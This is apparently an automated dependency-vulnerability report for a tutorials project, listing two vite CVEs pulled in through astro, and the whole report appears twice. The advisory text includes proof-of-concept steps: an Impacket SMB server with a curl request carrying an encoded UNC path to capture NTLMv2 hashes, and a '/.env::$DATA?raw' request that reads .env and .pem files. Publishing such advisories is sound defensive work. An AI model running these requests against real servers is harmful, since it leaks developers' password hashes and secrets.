Vulnerable Library - astro-6.3.3.tgz
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Vulnerabilities
| Vulnerability |
Severity |
 CVSS |
Dependency |
Type |
Fixed in (astro version) |
Remediation Possible** |
| CVE-2026-53632 |
 High |
8.3 |
vite-7.3.3.tgz |
Transitive |
N/A* |
❌ |
| CVE-2026-53571 |
High |
7.5 |
vite-7.3.3.tgz |
Transitive |
N/A* |
❌ |
*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.
**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation
Details
CVE-2026-53632
Vulnerable Library - vite-7.3.3.tgz
Native-ESM powered web dev build tool
Library home page: https://registry.npmjs.org/vite/-/vite-7.3.3.tgz
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Dependency Hierarchy:
- astro-6.3.3.tgz (Root Library)
- ❌ vite-7.3.3.tgz (Vulnerable Library)
Found in base branch: main
Vulnerability Details
Summary The "launch-editor" NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the "launch-editor": - using Windows - NTLM is not disabled ("it is recommended to disable" (https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using "launch-editor" - the server that has the middleware using "launch-editor" is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. Details "launch-editor" accepts file paths without validating or restricting Windows UNC paths such as: \attacker-host\share On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using "launch-editor" to develop code locally, send them a link and grab their NTLMv2 hash. PoC From the attacker side, we will setup an SMB server. I personally used "Impacket's smbserver.py" (https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like "Responder" (https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use "smbserver.py" here. First, let's create a directory to serve as an SMB share. mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt Then, start the SMB server. $ sudo smbserver.py -smb2support -debug share /tmp/data Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally ("vite"). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use "curl" to achieve the same. curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of "smbserver.py" and see the NTLMv2 hash coming in. 
Publish Date: 2026-06-15
URL: CVE-2026-53632
CVSS 3 Score Details (8.3)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: High
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-v6wh-96g9-6wx3
Release Date: 2026-06-15
Fix Resolution: vite-plus - 0.1.24,vite - 6.4.3,launch-editor - 2.14.1,vite - 8.0.16,vite - 7.3.5
CVE-2026-53571
Vulnerable Library - vite-7.3.3.tgz
Native-ESM powered web dev build tool
Library home page: https://registry.npmjs.org/vite/-/vite-7.3.3.tgz
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Dependency Hierarchy:
- astro-6.3.3.tgz (Root Library)
- ❌ vite-7.3.3.tgz (Vulnerable Library)
Found in base branch: main
Vulnerability Details
Summary The contents of files that are specified by ""server.fs.deny"" (https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using "--host" or ""server.host" config option" (https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by ""server.fs.allow"" (https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) Details Vite’s dev server denies direct access to sensitive files through "server.fs.deny", including entries such as ".env", ".env.", and ".{crt,pem}". However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as "/.env::$DATA?raw" are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. PoC $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev Access via browser at "http://localhost:5173/.env::$DATA?raw" 
Example expected result: - "/.env::$DATA?raw" returns the contents of ".env" - "/tls.pem::$DATA?raw" returns the contents of "tls.pem"
Publish Date: 2026-06-15
URL: CVE-2026-53571
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
For more information on CVSS3 Scores, click here.
Suggested Fix
Type: Upgrade version
Origin: GHSA-fx2h-pf6j-xcff
Release Date: 2026-06-15
Fix Resolution: vite - 6.4.3,vite - 7.3.5,vite - 8.0.16,vite-plus - 0.1.24
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Vulnerabilities
*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.
**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation
Details
Vulnerable Library - vite-7.3.3.tgz
Native-ESM powered web dev build tool
Library home page: https://registry.npmjs.org/vite/-/vite-7.3.3.tgz
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Dependency Hierarchy:
Found in base branch: main
Vulnerability Details
Summary The "launch-editor" NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the "launch-editor": - using Windows - NTLM is not disabled ("it is recommended to disable" (https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using "launch-editor" - the server that has the middleware using "launch-editor" is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. Details "launch-editor" accepts file paths without validating or restricting Windows UNC paths such as: \attacker-host\share On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using "launch-editor" to develop code locally, send them a link and grab their NTLMv2 hash. PoC From the attacker side, we will setup an SMB server. I personally used "Impacket's smbserver.py" (https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like "Responder" (https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use "smbserver.py" here. First, let's create a directory to serve as an SMB share. mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt Then, start the SMB server. $ sudo smbserver.py -smb2support -debug share /tmp/data Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally ("vite"). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use "curl" to achieve the same. curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of "smbserver.py" and see the NTLMv2 hash coming in.
Publish Date: 2026-06-15
URL: CVE-2026-53632
CVSS 3 Score Details (8.3)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: High
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-v6wh-96g9-6wx3
Release Date: 2026-06-15
Fix Resolution: vite-plus - 0.1.24,vite - 6.4.3,launch-editor - 2.14.1,vite - 8.0.16,vite - 7.3.5
Vulnerable Library - vite-7.3.3.tgz
Native-ESM powered web dev build tool
Library home page: https://registry.npmjs.org/vite/-/vite-7.3.3.tgz
Path to dependency file: /tutorials/package.json
Path to vulnerable library: /tutorials/package.json
Dependency Hierarchy:
Found in base branch: main
Vulnerability Details
Summary The contents of files that are specified by ""server.fs.deny"" (https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using "--host" or ""server.host" config option" (https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by ""server.fs.allow"" (https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) Details Vite’s dev server denies direct access to sensitive files through "server.fs.deny", including entries such as ".env", ".env.", and ".{crt,pem}". However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as "/.env::$DATA?raw" are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. PoC $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev Access via browser at "http://localhost:5173/.env::$DATA?raw"
Example expected result: - "/.env::$DATA?raw" returns the contents of ".env" - "/tls.pem::$DATA?raw" returns the contents of "tls.pem"
Publish Date: 2026-06-15
URL: CVE-2026-53571
CVSS 3 Score Details (7.5)
Base Score Metrics:
- Exploitability Metrics:
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact Metrics:
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
For more information on CVSS3 Scores, click here.Suggested Fix
Type: Upgrade version
Origin: GHSA-fx2h-pf6j-xcff
Release Date: 2026-06-15
Fix Resolution: vite - 6.4.3,vite - 7.3.5,vite - 8.0.16,vite-plus - 0.1.24